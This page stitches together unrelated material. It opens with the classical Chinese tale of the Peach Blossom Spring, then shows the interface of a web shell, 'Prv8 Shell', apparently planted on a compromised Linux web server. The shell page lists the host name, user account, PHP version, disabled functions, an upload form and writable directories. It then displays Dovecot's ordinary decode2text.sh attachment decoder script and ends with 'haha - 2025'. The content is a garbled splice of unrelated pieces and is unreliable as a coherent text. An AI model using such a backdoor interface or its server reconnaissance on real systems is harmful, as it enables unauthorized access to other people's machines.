晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/libexec/dovecot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/dovecot/decode2text.sh
#!/bin/sh

# Example attachment decoder script. The attachment comes from stdin, and
# the script is expected to output UTF-8 data to stdout. (If the output isn't
# UTF-8, everything except valid UTF-8 sequences are dropped from it.)

# The attachment decoding is enabled by setting:
#
# plugin {
#   fts_decoder = decode2text
# }
# service decode2text {
#   executable = script /usr/local/libexec/dovecot/decode2text.sh
#   user = dovecot
#   unix_listener decode2text {
#     mode = 0666
#   }
# }

libexec_dir=`dirname $0`
content_type=$1

# The second parameter is the format's filename extension, which is used when
# found from a filename of application/octet-stream. You can also add more
# extensions by giving more parameters.
formats='application/pdf pdf
application/x-pdf pdf
application/msword doc
application/mspowerpoint ppt
application/vnd.ms-powerpoint ppt
application/ms-excel xls
application/x-msexcel xls
application/vnd.ms-excel xls
application/vnd.openxmlformats-officedocument.wordprocessingml.document docx
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
application/vnd.oasis.opendocument.text odt
application/vnd.oasis.opendocument.spreadsheet ods
application/vnd.oasis.opendocument.presentation odp
'

if [ "$content_type" = "" ]; then
  echo "$formats"
  exit 0
fi

fmt=`echo "$formats" | grep -w "^$content_type" | cut -d ' ' -f 2`
if [ "$fmt" = "" ]; then
  echo "Content-Type: $content_type not supported" >&2
  exit 1
fi

# most decoders can't handle stdin directly, so write the attachment
# to a temp file
path=`mktemp`
trap "rm -f $path" 0 1 2 3 14 15
cat > $path

xmlunzip() {
  name=$1

  tempdir=`mktemp -d`
  if [ "$tempdir" = "" ]; then 
    exit 1
  fi
  trap "rm -rf $path $tempdir" 0 1 2 3 14 15
  cd $tempdir || exit 1
  unzip -q "$path" 2>/dev/null || exit 0
  find . -name "$name" -print0 | xargs -0 cat |
    $libexec_dir/xml2text
}

wait_timeout() {
  childpid=$!
  trap "kill -9 $childpid; rm -f $path" 1 2 3 14 15
  wait $childpid
}

LANG=en_US.UTF-8
export LANG
if [ $fmt = "pdf" ]; then
  /usr/bin/pdftotext $path - 2>/dev/null&
  wait_timeout 2>/dev/null
elif [ $fmt = "doc" ]; then
  (/usr/bin/catdoc $path; true) 2>/dev/null&
  wait_timeout 2>/dev/null
elif [ $fmt = "ppt" ]; then
  (/usr/bin/catppt $path; true) 2>/dev/null&
  wait_timeout 2>/dev/null
elif [ $fmt = "xls" ]; then
  (/usr/bin/xls2csv $path; true) 2>/dev/null&
  wait_timeout 2>/dev/null
elif [ $fmt = "odt" -o $fmt = "ods" -o $fmt = "odp" ]; then
  xmlunzip "content.xml"
elif [ $fmt = "docx" ]; then
  xmlunzip "document.xml"
elif [ $fmt = "xlsx" ]; then
  xmlunzip "sharedStrings.xml"
elif [ $fmt = "pptx" ]; then
  xmlunzip "slide*.xml"
else
  echo "Buggy decoder script: $fmt not handled" >&2
  exit 1
fi
exit 0

haha - 2025